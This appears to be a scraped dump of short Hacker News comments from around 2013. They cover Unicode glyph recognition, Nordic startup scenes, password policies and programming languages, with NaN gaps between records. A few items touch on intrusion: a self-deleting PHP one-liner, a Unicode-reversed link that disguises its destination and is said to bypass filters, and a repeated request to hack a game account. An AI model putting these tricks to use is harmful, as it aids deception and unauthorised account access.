much a 100% certainty. It&#x27;s like playing the lottery, if you play long enough one day you&#x27;ll win, only in this case you lose.<p>By far the larger part of the fatalities in my close circle were due to cancer. And I fear that this will remain with us as a problem for quite a while. Compared to curing cancer curing world hunger seems to be easy (it requires no unknown technology, nor does it go against the way our bodies appear to function).\", \"Good catch, will be interesting to see how this plays out.  I tend to believe indicators like this over news reports.\", \"It&#x27;s been a couple of years since I programmed in PHP, but I&#x27;m pretty sure if it&#x27;s the EOF you don&#x27;t even need the final semicolon, so:<p><pre><code>  <?unlink(__FILE__)</code></pre>\", \"Well, at least they are hitting <i>other</i> (albeit larger) patent trolls... Karma!\", \"Who has a patent for rounded corners?\", \"Not to detract from the subject itself, but that is some shockingly bad layout and design for a site whose sole content is long-form articles. Small font on a too-dark background in an unreadably wide column - what an absolutely embarrassing UX failure.\", NaN, \"Slightly similar to the guy who squatted at AOL around the same time (2012).<p><a href=\\\"http://techcrunch.com/2012/09/26/after-2-months-of-squatting-at-aol-eric-simons-launches-claco-the-github-for-teachers/\\\" rel=\\\"nofollow\\\">http://techcrunch.com/2012/09/26/after-2-months-of-squatting...</a>\", \"There is a special place in hell reserved for everybody that applies graft to health-care. And one right next door for &#x27;claims adjusters&#x27;.\", \"Isn&#x27;t this basically like the Magic Cube laser keyboard? <a href=\\\"http://www.celluon.com/products.php\\\" rel=\\\"nofollow\\\">http://www.celluon.com/products.php</a>\", NaN, \"A lot of patent suits are settled out of court. Look up the IBM/Sun case, or the Apple/Microsoft cross licensing deal. All settled out of court.\", \"Two things occurred to me when my son died:<p>* A big life can be very short.<p>* Losing a child is normality, it&#x27;s just not modern, western, normality.<p>It&#x27;s important not to dwell on the bad stuff. We are programmed to forget it and remember only the good stuff so while my memories have gotten lesser as the years have passed they have become better & more concentrated.<p>I&#x27;ve also learned to not ask &quot;why me?&quot; \\u2014 and instead ask &quot;why <i>not</i> me?&quot;. Most of history&#x27;s parents have probably lost a child so the idea that &quot;this isn&#x27;t supposed to happen&quot; seems a little selfish to me. All those cherubs painted on walls probably have real faces.<p>These days, I like to think that my boy was simply let into the big secret a little early.\", \"Google+ is the main reason I am very reluctant to get an Android phone.\", \"You already know all the good stuff about weak typing and equality.<p>But let me give you a few recent examples I stumbled over: \\\\n- Javascript can not format numbers with leading zeros.\\\\n- Handling binary data is increadibly painful. \\\\n- Object oriented programming is really convoluted.\\\\n- Lack of classes and modules makes code structuring hard.<p>True, it could be worse. But Lua, Ruby, Python, Perl, Scheme, Clojure, and many others are much better languages with very similar feature sets. And then there&#x27;s a whole host of languages with different features. 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To do that I try and cut up my work into the right size chunks, have a plan, and leave work with an \\\"easy win\\\" so I can get back into the loop again quickly.<p>Some examples. Hopefully I'm not descending too far into life-hacker wankery here ;-)<p>* I TDD code, and always try and leave myself with a failing test. If I'm interrupted and don't have a failing test I will deliberately break something or hit undo enough times to get a fail so I have an easy win when I get back.<p>* I don't track time on task. I do block out time for tasks - and track non-relevant interruptions during that time and see if there are ways to stop 'em happening.<p>* I run a personal kanban board for stuff so I can keep that continual ping of reward happening during the day.<p>* I breakdown tasks as they come in so they I can get little reward pings on a regular basis.<p>* When I have real problems getting into flow I give myself automatic rewards (do 20m on X then you can do 5m of fun on Y). Similar to <a href=\\\"http://en.wikipedia.org/wiki/Pomodoro_Technique\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Pomodoro_Technique</a>. Once I get started the normal task-achievements often mean I don't actually end up doing Y - it's just a personal hack to get me started.<p>Basically - fake the reward cycle until the real one takes hold.<p>Make vague sense?\", \"Even if youre an experienced designer, its never a bad time to refresh your memory a little with the structure of serif typefaces, a few recommendations and a little history.\", \"In general it's a problem in pretty much every country when official investigators fly in and start investigating without prior notice. The US administration would do the same if the german police sent an investigation team over to collect evidence in a german case. The official procedure is to request help or permission from the local government and only send investigators if granted. Such requests get denied in some cases, for example if the alleged crime is not a crime in the country that you're trying to investigate in.\", \"I wonder:<p>Why this was never improved?<p>Also, good to know I am not the only guy that never manages to type this correctly.\", NaN, \"We've focused on professional artists, and support all the main formats that they use. The difference in load time is because a lot of what's in our public gallery is from ZBrush, 3D-Coat, or Mudbox - high res sculpts that were not meant for realtime. It's more testiment to our processing engine that we can make these run as well as we do. Not exactly apples to oranges comparing these sculpts to Sketchup models on Skethfab. We've written about the comparison to Sketchfab here:\\\\n<a href=\\\"http://verold.com/blog/2013/1/13/verold-studio-vs-sketchfab-vs-p3d\\\" rel=\\\"nofollow\\\">http://verold.com/blog/2013/1/13/verold-studio-vs-sketchfab-...</a>\", NaN, \">yet we weren't presented a case in which crap code could be mitigated.<p>Is that possible anyway?<p>I found the communication aspect an interesting point.  But I wonder: what if the non-developers have bad communication skills?  And how do you find out?\", \"I can't get it to recognize 'Pile of Poo' (U+1F4A9)<p>Major bug.\", \"Thank you, I'd not seen this before.<p>I have always been interested in compiler design having not been put off it by doing a computer science degree, but, having not done the degree I've also never learned anything about it. This looks like it should help.<p>Although, I was very confused by the first couple of sentences - the author apologises for their global variables, and not knowing which part of the compiler they're talking about I don't know if they means they're going to implement kaleidoscope without any notion of <i>scope</i>, and just make everything global, or if they're just talking about the parser code. It's quite clear soon after that it's the latter, but it makes it difficult to read the introduction!\", \"is this because it's illegal to work without a permit [edit: no, not needed for 90 days for americans]?  or is it just detectives that cannot work there?  or is it that they claimed to be local policemen?<p>if i were a market analyst who flew to iceland (private plane or not - what has that got to do with it?) to study local opinions on some new product, say, would that get a similar reaction?  would it be ok as long as i didn't ask to speak to govt officials?<p>is there some kind of international convention / agreement that says that policemen don't work abroad?  is it that the request for cooperation was at too low a level?  [edit: ok, i added this just as it was suggested in a reply; thanks]<p>i'm having a hard time understanding what the problem was here from the article, which seems to assume that something was obviously wrong.<p>[oh noes - someone asking questions!  better downvote!  sigh...]\", NaN, \"The look of disapproval is not a single character; it comprises of three characters: [1] _ [1]<p>[1] <a href=\\\"http://shapecatcher.com/unicode/info/3232\\\" rel=\\\"nofollow\\\">http://shapecatcher.com/unicode/info/3232</a>\", \"The history of Emoji before they got standardized is interesting. BTW Google was a requestor too.\", \"If you like this, see DeTeXify <a href=\\\"http://detexify.kirelabs.org/classify.html\\\" rel=\\\"nofollow\\\">http://detexify.kirelabs.org/classify.html</a>\", \"I've never been able to work out if it is an invisible  character, or a character meant for use when things are invisible. Either way works for Muse I suppose.\", \"I think it's better to drop them if they're holding you from getting to your target. The best example is how Mark Zuck, Dropped Savrin when he was not letting mark to get funds from VCS\", NaN, \"I tried to draw the elusive snowman: <a href=\\\"http://i.imgur.com/dr5VKTh.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/dr5VKTh.png</a><p>Clearly it's not impressed by my drawing skills.\", \"Manhattan distance then. It is easier to work out the Euclidian distance though between 2 coordinates.\", NaN, \"Well, one conclusion we can draw from the article is that 90% of code is not considered good by author's standards (which I not only agree with but take one step further), yet we weren't presented a case in which crap code could be mitigated.<p>I mean, when your employers insist on employing the bad engineers because they talk big jargon, that shows the Real Cost of Stupid Management more than anything else.\", NaN, \"The market for apartments is not a strong point for Stockholm. You can get an apartment rather easily, but it is not cheap compared to similar cities in Europe.<p>Some current listings from the Swedish equivalent of Craigslist:<p><a href=\\\"http://www.blocket.se/stockholm?q=&cg=3020&w=1&st=u&ca=11&l=0&md=th&ros=1&roe=3&m=131\\\" rel=\\\"nofollow\\\">http://www.blocket.se/stockholm?q=&cg=3020&w=1&s...</a>\", \"It depends on what you mean by statically typed language. If you mean other stuff like SML/Ocaml, I agree. If you include C/C++/Java/C# in your definition \\\"statically typed\\\", then I beg to differ. I have considerable experience in C, Java and, to a lesser extent, C++. And all in all I consider their type systems worthless for error prevention, the flexibility of python gains you more than their type systems do.<p>In this sense I suspect the OP would say the same about any ML-like static type system, but not many other static type systems.\", NaN, \"<a href=\\\"http://kyon.pl/img/18939,unicode,lol,inside_joke,.html\\\" rel=\\\"nofollow\\\">http://kyon.pl/img/18939,unicode,lol,inside_joke,.html</a>\", \"Fonts have dosens of things added: Unicode to glyph mapping, horizontal writing metrics, vertical writing metrics, kerning, hinting, bitmap fallbacks for small sizes, metadata for aligning baselines and justification, grid-fitting and scan-conversion data, glyph substitutions (e.g. ligatures, old style numbers,  contextual, chained), glyph positioning (e.g. diacritics, Arabic diagonal baseline, contextual positioning).<p>Hinting is probably the most complex feature. TrueType implements hinting as special instructions in an impressively complex stack-based drawing language. SVG fonts are already bloated, and adding hinting may have been a step too far, or perhaps it was because at the time some of TrueType's hinting instructions were patented.\", \"Ooh my word. I drew a Skrillex and it recognized it perfectly; some Chuck Tays because he's a chill bro, school because his music appeals to people in school (12-24), and the Bengali vowel sound because he plays that in his \\\"drops\\\".<p>EDIT: forgot to link screenshot: <a href=\\\"http://imgur.com/LyaXy4h\\\" rel=\\\"nofollow\\\">http://imgur.com/LyaXy4h</a>\", \"Experiments with some common glyphs.<p>(!) -- 8th suggestion, after three apparently identical \\\"upside-down 'i'\\\" (including an \\\"upside-down capital 'I' with a dot underneath\\\")<p>(@) -- 1st suggestion<p>(#) -- not suggested. Top suggestion is \\\"capital 'H' with stroke\\\"<p>($) -- not suggested, although the 14th is an <i>indistinguishable</i> glyph \\\"Canadian syllabics carrier sh\\\" 0x165a, a phoenetic symbol for representing a Canadian aboriginal language.<p>(%) -- 1st suggestion<p>(^) -- 10th suggestion, to be fair this one is impossible<p>(&) -- not suggested (fried shrimp lol)<p>(*) -- 3rd suggestion<p>(?) -- 1st suggestion<p>() -- 1st suggestion<p>() -- 4th suggestion (1st one is same thing in boldface)<p>----------<p>This is suggests a really easy way to greatly improve the results: weight them by a prior probability (i.e., frequency of occurrence in a letter count). The OCR itself seems pretty good. Common math symbols are more likely than silly shrimps. Glyphs from common languages are more probable than esoteric ones, and real languages more than constructed ones. Plain glyphs are more common than variants (bold/italic) -- and these should be grouped together anyway. fried shrimp horseshoe.\", \"prickly.\", NaN, \"This is why I use Scrivener - it's <i>modular</i>.<p>Scrivener with Track Changes and Etherpad-style collaborative editing would be perfect to the point where nobody would use anything else.\", \"> \\\"INVISIBLE TIMES\\\"<p>Sounds like a Muse song title\", \"Yeah I've read <i>The Ascent of Money</i> too, it was great. You'll enjoy <i>Civilisation</i>.<p>Although after learning of his political views(I don't live in the US), I couldn't help but wonder how much it influenced his views in <i>Civilisation</i>. It comes off as a bit overly biased in favour of Europeans (read: the white man) when seen in this new light. For example, he tries to argue that church attendance being down is a sign that European influence/culture is declining.\", \"Why would a LARPr use irc?  Wouldn't one of them dress up like a crow to deliver messages?\", NaN, \"Reminds me of the excellent Detexify, which serves a similar purpose but for LaTeX symbols: <a href=\\\"http://detexify.kirelabs.org/classify.html\\\" rel=\\\"nofollow\\\">http://detexify.kirelabs.org/classify.html</a>\", \"> Javascript is fairly new<p>On a geological scale, maybe. It appeared in the mid-nineties, which is positively ancient in computer terms.\", \"I think you mean LastPass or 1Password.<p>Startup idea: the email equivalent of 1Password.<p>You give each site a completely unique, distinct yet valid email address. They forward to your real email address and vice versa.<p>This way if one email is compromised you know where the spam is coming from plus it reduces email tracking and correlation.\", \"How easy/cheap is it to get a small apartment...?\", \"\\\"In fact, PC sales have been declining for the last several quarters, with market research firm Gartner recording a 4.9 percent decline in the most recent quarter ending in December. The reason for that continued decline, according to Gartner, is that consumers are increasingly using tablets to do the things they might have done with a PC even a year or two ago.\\\"<p>Sorry, but no. If I take a look at my collegues, friends and family all of them are still using desktop computers (The majority PC's, but some macs) and the main reason they dont buy new PC's as often these days is because they just dont have to. The computer they bought three or four years ago still has enough horsepower to drive most new games at decent settings, and none of them have any problems driving the newest enterprise software.<p>The reason such old computers are still powerful enough is two-fold:\\\\n1. Innovation is slowing down. The processing power of a computer does not increase as fast as it used to. New software isnt as demanding of the current generation of hardware as it was a few years back. Simply put: Hardware has no reason to push the envelope anymore to the same degree as before. Software for regular folk just does not need more horsepower for now.<p>2. Consoles. Of the few software areas that has traditionally pushed PC hardware development it was computer games. The newest game used to be an awesome thing. You had a new-ish computer couldnt keep up with the newest and greatest. Only some could afford to upgrade their rigs enough to run the newest games at max resolution and settings. Consoles that compete with PC's effectively put a roof on that. Games being developed today nearly always are developed for release on the PC and a console. As the current generation of consoles is a few years old it is easy to see which hardware is the limiting factor. This means that even with med-budget computer hardware today you can take the latest and greatest game and play it at maximum settings without breaking a sweat because the game is primarily developed with the inferior console hardware in mind.<p>So simply put, PC sales are not dwindling because of the tablet. It is dwindling because the pressure to upgrade just is not there anymore.\", \"Sadly it didn't recognize my clumsy attempt to draw the Look of Disapproval: <a href=\\\"http://i.imgur.com/0lvPFaJ.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/0lvPFaJ.png</a><p>On the upside, I learned that there is a Panda Face unicode character.\", NaN, \"Isiode offers M-Link, its military XMPP solution : \\\\n<a href=\\\"http://www.isode.com/solutions/military-xmpp.html\\\" rel=\\\"nofollow\\\">http://www.isode.com/solutions/military-xmpp.html</a> - I guess there are others... Does anyone here know them ?\", \"Who doesn't love ?<p>There's lot of other strange Unicode too. There's things like '' (U2062 INVISIBLE TIMES),    and s uop psdn.<p>All of which can be used to bypass filters and generally cause browser-crashing havoc. For example, this address looks like Google, but it really links to hacker news.<p><a href=\\\"http://news.ycombinator.com/?/moc.elgoog//:ptth\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/?/moc.elgoog//:ptth</a>\", \"If you're going to use them a lot you're cheaper off using consumer grade computers with the most expensive intel processors available. What I usually do is take the Passmark CPU list, add $500 for the cost of the rest of the system and sort by score/price.\", \"Here are two real world issues that could arise<p><a href=\\\"http://vbuterin.blogspot.ca/2011/08/password-strength-rebuttal-to.html\\\" rel=\\\"nofollow\\\">http://vbuterin.blogspot.ca/2011/08/password-strength-rebutt...</a><p>I think some cryptographers and security people have given rebuttals as well but I can't find them at the moment.\", NaN, \"I grew up in a community in the North of Scotland that was dominated by fishing (more oil these days) and most boat-owning skippers were pretty much risk-seeking entrepreneurs - with pretty big rewards possible (certainly well into F-you money).<p>The chapter on Iceland in <i>Boomering</i> Michael Lewis where he describes how the risk seeking fishermen were maybe not the best choice to become investment bankers reminded me a lot of people I knew when I was younger.\", \"I agree with Matti - doing business in Stockholm without knowing Swedish is no problem. Swedes are generally fluent in English and most often they enjoy speaking it. I know several foreigners who run startups here without bothering to learn the local language.\", \"I wish he would open source the design so others could improve on it.\", \"Guess we just have to agree to disagree\", \"I agree Berlin is ultra-cheap, but the Nordic capitals are still pretty cheap compared to other startup hubs. When I moved from the US to Copenhagen, people warned me about expensive rents, but I was actually surprised at how much cheaper it is here than in major American cities. I pay about $1400 (1000) for a centrally located 2bd in a nice area near the metro, which is a kind of price it's totally impossible to find in SF, Boston, or NYC. Not to mention in other startup hubs like London...\", \"That's why I disable geotagging in general. I don't trust apps enough not to leak data unless absolutely necessary. On my device only Yelp and Maps have access and that's it.\", NaN, NaN, \"There's one anecdote I can share from Finland: 'startup' is now an actual word used in mainstream media. <a href=\\\"http://fi.wikipedia.org/wiki/Startup-yritys\\\" rel=\\\"nofollow\\\">http://fi.wikipedia.org/wiki/Startup-yritys</a>\", \"The funny part is that they transmit fire missions through IRC instead of using a proper artillery data network. Of course you do that through plain old-fashioned radio when no data connection is available, but it you can transmit through IRC then you certainly have enough bandwidth for communicating through a better integrated system such as ATLAS (<a href=\\\"http://articles.janes.com/articles/Janes-C4I-Systems/ATLAS-automated-field-artillery-fire-support-system-France.html\\\" rel=\\\"nofollow\\\">http://articles.janes.com/articles/Janes-C4I-Systems/ATLAS-a...</a>)\", \"LLVM seems to support 64 bit ARM, now, too:<p><a href=\\\"http://www.phoronix.com/scan.php?page=news_item&px=MTI4OTA\\\" rel=\\\"nofollow\\\">http://www.phoronix.com/scan.php?page=news_item&px=MTI4O...</a>\", NaN, \"This is seriously the funniest thing I've seen on HN in weeks. Made me actually laugh.\", \"I've used this knockout extension to great success [1]. It's intuitive, it leverages knockout's internal pubsub, and fits in with the KO ethos. It can be used to synchronise observables across models (which is awesome as it's events without overhead), or as a general purpose event system.<p>Ryan is one of the core contributors to knockout, by the way, so you can be assured of its quality.<p>[1] <a href=\\\"http://www.knockmeout.net/2012/05/using-ko-native-pubsub.html\\\" rel=\\\"nofollow\\\">http://www.knockmeout.net/2012/05/using-ko-native-pubsub.htm...</a>\", NaN, \"Getting by in Stockholm won't be a problem: you can safely assume that people within the start-up scene are fluent in English. You'll be met with a slightly different kind of problem: as communicating in English is so effortless, you'll have few opportunities to really practice your Swedish.\", \"Startup? A for-profit company providing the service? No thank you, I trust my brain more than I trust <i>anyone</i> else be that person or a company. Or a non-profit organzation.\", NaN, \"Interesting, I didn't know that. So the worst that could happen is that I'd be locked out of their horribly insecure site and forced to use something better. I don't re-use passwords, and I declined to let them store my credit card details, so when they get hax0red, I won't lose anything worth stealing.\", NaN, \"I don't see how Java's idea of type safety is particularly useful for anything, its type system is almost entirely useless.<p>I've yet to see compelling arguments for why it might be better in \\\"large\\\" projects.\", NaN, \"I initially started work with another person on a SaaS hosting company. This person moved to my town to work with me for 4 months, before leaving out of the country.<p>When they left out of the country, they hadn't contributed anything to the production version of our site, except a minimal site design, which was completed in the first month.<p>There was minor things checked into Github, but nothing that would represent a 50% share of the company that we had set out to build.<p>My question is when? When do you give up on them? When do you cut your losses, and walk away from something you believed in?\", \"I get:Your device is not compatible with this version. \\\\nI have a Samsung Galaxy of previous generation.\", \"My simple, clean ampersand (&) became a paperclip (0x1f4ce), a \\\"fried shrimp\\\" (0x1f364), several species of geometric triangle, and dozens of other silly, silly glyphs.<p><a href=\\\"http://i.imgur.com/NLkl75J.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/NLkl75J.png</a><p>the unicode block containing \\\"fried shrimp\\\" 0x1f364 -- why does this exist???<p><a href=\\\"http://www.unicode.org/charts/PDF/U1F300.pdf\\\" rel=\\\"nofollow\\\">http://www.unicode.org/charts/PDF/U1F300.pdf</a><p>Latest <i>Abstruse Goose</i> comic sums up my emotional response:<p><a href=\\\"http://abstrusegoose.com/496\\\" rel=\\\"nofollow\\\">http://abstrusegoose.com/496</a>\", \"(surprisingly noone said this) Too bad it doesn't generate links to drawing results.\", \"I used it as a source for an article I wrote on my company's web site recently.<p>Very nifty to be able to pull up smartphone penetration in 18-29 age cohort in Sweden, for instance.\", NaN, \"Yes, but if it was fashionable to work at RIM, they would mention that in the ads.\", NaN, NaN, \"Of course it's a cactus! What else would it be?\", \"Lund, Sweden, here. Currently doing a SaaS mobile project in my startup.<p>Malm has a great startup scene with Foo Cafe and other gatherings. In Lund you have LTH, Ericsson, Ideon, etc so there's a lot of tech talent there as well.<p>Anyone, feel free to hit me up for free coffee in our Malm office :)\", \"What a playa! Haha!\", \"The current market is completely out of sync with the real value/costs of commercial property. The field has insulated itself from true price discovery for so long that it is starting to hemorrhage.<p>This isn't really about finding 'tech startups' a home, but rather that there's a chance that any new business starting up will need office space. And don't forget, current office-space tenants are going to start wondering why they're paying such inflated rates and the people across the way are paying 25-whatever% less for the same kinds of space.<p>Don't focus too much on new converts; think about everyone paying more for office space now than they need to.\", \"I think there is some sense in having a lower limit around 6-8 chars. No matter how many special characters you use, it won't be strong if it's too short.<p>The upper limit of 64 chars is just something that I copy-and-pasted from an actual web app that I wrote some time ago. It works in most cases, but if I were to write the same app now, I'd probably remove the upper limit or make it very large. (By the way, bcrypt only hashes the first 72 bytes of your password [1], so make sure to do something like bcrypt(sha256(password)) if you plan on using longer passwords.)<p>[1] <a href=\\\"http://news.ycombinator.com/item?id=4515894\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=4515894</a>\", \"Damn. I think it's not intended as a cactus. Hahaha.\", NaN, \"I can't tell about the top-10 CS programs. I can only tell you my experiences. I live in Canada and I study in another field. When I contacted my potential supervisor, she asked if I am Canadian citizen. The reason why she wanted to accept a student who is Canadian citizen is that many fellowship or grants are only given to Canadian citizens doing research in Canada. What I am saying here is that if your citizenship affects your chance of acceptance, it will be due to funding issues like this. But if the school you are applying is private school, it may not be a problem because they don't receive a lot of private funding I believe.\\\\nI think when it comes down accepting graduate students, your potential supervisor's decision is the most important. I don't know about every program and every school. But in my school, when a professor accepts a student, he/she will sign a form saying that he/she will provide this student financially for at least five years. Therefore, standing from the professor's point of view, he/she really wants to accept a very smart student who can help him/her make great progress in the research and at the same time, receive enough funding to be able to support him/herself. I hope it helps.\", \"Out of interest, do you think itd be easy to get into the startup scene with minimal Swedish? My wife is Swedish and we have in the past considered a move to Stockholm but my Swedish is absolutely not fluent (although were we to do it Id enrol in an evening course as soon as we moved).\", \"Or maybe for black listing? i.e. filter out those persons who are extremely naive and/or who overestimate their abilities.\", \"Waaaait. It's made by Kiip? But Kiip is a rewards network, right? (Based on their Twitter, <a href=\\\"https://twitter.com/kiip\\\" rel=\\\"nofollow\\\">https://twitter.com/kiip</a>) I don't know they are into creating games too.<p>Oh well, will download and try it. I like their founder, Brian Wong.\", \"<a href=\\\"https://catch.com/\\\" rel=\\\"nofollow\\\">https://catch.com/</a> is really nicely done.\", \"These are Emoji: it's a set of smileys/icons originally used by Japanese carriers. Apple included them in their iPhone, and in order to standardise them they (successfully) requested they were added to Unicode.\", \"The easy way: go for the high CPU instances (don't bother with the 'regular' ones, other providers offer cheaper and better machines)<p>The slightly harder: go for technologies that help you spread the load, so you spawn several instances that run simultaneously, run for some time and them stop, costing you maybe what would cost you for 1 instance/month but giving you the results faster<p>The even harder way is going for spot instances and orchestrating the sharding and reassembly of results\", \"It recognized my drawing of a cactus! <a href=\\\"http://i.imgur.com/pDgIOPk.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/pDgIOPk.png</a>\", \"\\\"I have found NumPy impossible to install.\\\"<p>Try using one of \\\"mega\\\" bundles from Enthought or Continuum. Anaconda CE installs easily on Windows and Linux.\", \"There is an ongoing debate in France about children's school weeks between a 4-day week (full days) and a 5-day week (either a day off in the middle of the week, or only mornings on Wednesdays and Saturdays). I invite you to look for different opinions on this debate if you're interested in this article's subject.\\\\nI understand children pace is barely comparable with grown-ups', however the arguments would be similar.\\\\nQuestion is, when are our so-called modern societies going to achieve the transition between human-based and robot-based mass production, leaving people freed from Maslow's hierarchy of needs' lower levels, and (therefore?) from the tyranny of performing something all day long without any benefit for the mind...\", \"Darn, those aliens  have so many PhDs, no wonder they fly them saucers so well. UFO = Untyped+Functional+Objective\", \"Damn that looks good, it worked for me for  and u with umlauts.<p>Get the Japanese support in there and it will be amazing. What about using MS Mincho or MS Gothic for that? (It is free as in beer, but is the licensing off?)\", \"You're forgetting one very important thing: Shirley Hornstein is female and Bill Gates isn't.\", \"don't take it lightly of the fact that javascript could theoretically become the most popular language for decades, mainly due to browser support.\", \"Can someone tell me why 'Cat with a wry smile' is in Unicode? Presumably at some point someone thought that it would be useful to somebody else, hence it's inclusion. It would be very interesting to hear the back-story behind such seemingly useless glyphs.\", \"Eucalyptus are rather notoriously bad about that, moreso than many other trees.  I've witnessed them make a widow, or widower, in this case.\", \"Worked really well for me, found a smiley face and a few accented characters. Awesome idea and implementation.\", NaN, NaN, \"Is the source available anywhere?<p>1.5M locally or over a network? What is the size of each message?\", \"I'm still looking for one where I can share with specific people (who can then update), and sublists. Closest thing I can find is Workflowy, possibly Cotton, but neither say what each person did, or even what's new.\", \"First, instead of fixing their stupid browser so it works like all the others, they provide \\\"tools\\\" to ask that <i>you</i> make your sites compliant with their stuff<p>Second, my site uses jQuery UI 1.10 and they suggest I update to 1.9.<p>Regarding web browsers, Microsoft is still sucking balls, year after year.\", NaN, \"Trying to draw U+1F4A9 (Pile of Poo). After several attempts, no luck.<p>I have learnt that Unicode contains even more weirdness than I thought before though, including 'Alchemical symbol for borax-3' (U+1f744), and 'doughnut' (U+1f369).\", \"It's possible the server will let you set the password to something longer than 12 characters but nott allow you to log-in with it. It's apparently happened on sites before.\", \">Therefore, if your password policy as any more restrictive than [\\\\x20-\\\\xFE]{8,64}, I'm going to assume that you store my passwords in a plain-text VARCHAR field without proper escaping.<p>Alternative interpretation: the Website is neither UTF8-safe (or whatever charset you prefer) nor are prepared statements used.  Otherwise VARCHAR is fine even without any escaping.\", \"But those little squares with hex digits are just AWESOME.\", \"Tried to draw an alpha but it didn't get it.<p>So far I haven't tried Shapecatcher a lot but I think that <a href=\\\"http://detexify.kirelabs.org/classify.html\\\" rel=\\\"nofollow\\\">http://detexify.kirelabs.org/classify.html</a> works much better. Detexify is of course only for LaTeX symbols and doesn't do unicode.<p>To  be useful Shapecatcher needs to become better at recognition.\", \"Already posted 3 times before to HN this year:<p>- <a href=\\\"http://news.ycombinator.com/item?id=5016848\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=5016848</a><p>- <a href=\\\"http://news.ycombinator.com/item?id=5014218\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=5014218</a><p>- <a href=\\\"http://news.ycombinator.com/item?id=5020893\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=5020893</a><p>NB.  Only the first post has comments.\", \"It doesn't look great that's for sure, but you can still tell what the icons are i.e. it's good enough.<p>If you're designing things such that a missing icon causes the UI to be incomprehensible, you're probably designing it badly\", \"If a pc can't find it, perhaps drawing things is going to be the new captcha!\", \"My personal maven moment was when I did a \\\"mvn clean\\\" on a train ride - and it failed, because it had to lazy-load 'mvn-clean-plugin' (5kb).\", \"I believe that it has no comments because this tutorial is around for years and almost everyone who knows LLVM have already read it.\", \"Ok, just do it.\", NaN, \"It didn't recognize the capital letter A, only variations on the letter A and other unknown characters. I'm sure that the letter A is an unicode character!\", \"I'm involved in the startup scene in Norway, and it seems to me that there are mainly two sources of real money; oil (gas/offshore/etc) and fish, considering both private and public funding. It doesn't look to me like unrelated tech startups gain any special advantages by being in Norway.<p>I think we are still fighting the unfortunate culture of the Law of Jante: <a href=\\\"http://en.wikipedia.org/wiki/Law_of_Jante\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Law_of_Jante</a>\", \"10 grand is a bit cheap when I think of all the advertisement done for mega's security?\", \"Unless things have changed recently, Berlin still has fairly low rents and low living costs going for it -- giving people a fair amount of marginal space: <a href=\\\"http://www.paulgraham.com/marginal.html\\\" rel=\\\"nofollow\\\">http://www.paulgraham.com/marginal.html</a><p>Alexander Young (of Soundcloud) speaking about Berlin: \\\"The atmosphere and culture in Berlin is very unique. Since the costs for living are still low, people can afford to only work a few hours per week, and do the stuff they want the rest of the time.\\\"\\\\n<a href=\\\"http://blog.twingly.com/2010/05/18/from-stockholm-to-berlin-interview-with-soundcloud-ceo-alexander-ljung/\\\" rel=\\\"nofollow\\\">http://blog.twingly.com/2010/05/18/from-stockholm-to-berlin-...</a><p>That can't be said about Stockholm nor Helsinki.\", \"Je voudrai hacker un compte moviestarplanet\", \"Je voudrai hacker un compte moviestarplanet\", NaN, \"Idea: instead of matching the shape of what the user has drawn raster-wise, let the user draw an svg-like path, and try to identify the letter by the trace.\", \"Couldn't get it to find the unicode snowman[1]: <a href=\\\"http://i.imgur.com/gaIY9Gd.png\\\" rel=\\\"nofollow\\\">http://i.imgur.com/gaIY9Gd.png</a> (my drawing skills are awesome, no?)<p>But that aside, this looks like a neat idea. Not something I have any immediate use for myself, but could certainly be useful in some situations.<p>[1] <a href=\\\"http://www.fileformat.info/info/unicode/char/2603/index.htm\\\" rel=\\\"nofollow\\\">http://www.fileformat.info/info/unicode/char/2603/index.htm</a>\", \"I don't know if this counts as <i>in production</i>, but we use racket extensively on my team (we do predictive market simulations).  I wish I could give you a deep technical reason why racket works where nothing else would do - but the truth is that I'm the one who picks the technology, and I like writing code in racket.<p>biggest problems thus far are 1) the lack of external libraries (exempli gratia, nothing like python's boto for talking to ec2), but you probably saw that one coming.  and 2) the language is almost too big, with too many datatypes:  without even mentioning macros (which racket does quite well), the class/object system, the functional and mutable datatypes, contracts, pattern matching, typed racket, et cetera, can keep you pretty busy.  Myself and the others might not just know racket well enough yet, but it's easy for one person to write unreadable code without ever leaving standard language constructs.<p>But this is also the best thing about racket - the language is flexible enough that you can find a natural way to express whatever you need to.  We've also been playing with distributed places (racket processes on remote machines) with some success, too.\", \"Running a software company in Stockholm, Sweden is a blast. It is a great place to live, plenty of good people to recruit, a decent domestic market, e.g. many big companies willing to try out services from startups. There is a vast number of small tech companies here, most of them completely unknown. Every week I learn about some cool new company doing their thing just around the block from us, without ever having heard of the people involved.<p>There are some major caveats: Income taxes are extremely high and tax rules makes it almost impossible to share ownership in a rational way, e.g. it is very hard to setup stock option programs etc. Also, the domestic venture capital market is extremely underdeveloped - a great opportunity for foreign investors!<p>I am a firm opponent of all government programs to stimulate entrepreneurship. My view is that the government should simply get out of the way. And in fact, except for the taxes, this is by and large what the Swedish government is doing. For example, there is very little bureaucracy around running a business, e.g. starting an incorporated company is now done easily over the internet, often the whole process can be completed in a matter of days.\", \"I use Symphonical: www.symphonical.com<p>It's only for web atm, but mobile should be around the corner..\", \"Sounds cool but sadly hasn't worked for the letters I often need but haven't easy access to (czech characters like: ,  and ). Perhaps because the element that makes them distinct from the latin (the \\\"haek\\\") is so tiny.<p>Edit, I just drew the  larger and it recognised it correctly. Cool :)\", \"Steve Jobs keeps coming up in this thread. People seem to be missing two very important things regarding him.<p>Warren Buffett is giving his wealth away, but he isn't doing much actual charitable giving of his own direction. If you read up on it, you'll find that Buffett regards the best use of his time to be capital allocation, aka running Berkshire to generate profit. And then giving that wealth generation to the Gates Foundation to distribute. Why? In Buffett's own words, he thinks he would suck at distribution, so he picked someone better to do it.<p>Buffett is regarded as an important philanthropist now. However, he had no intention of being that during his lifetime. Susan was supposed to give his wealth away, but she (unexpectedly) died before him, forcing Buffett to change course. I assume I don't need to elaborate the point that things are not so linear as so many here seem to think.<p>Has anybody considered that Jobs regarded his best gift as building products? And that 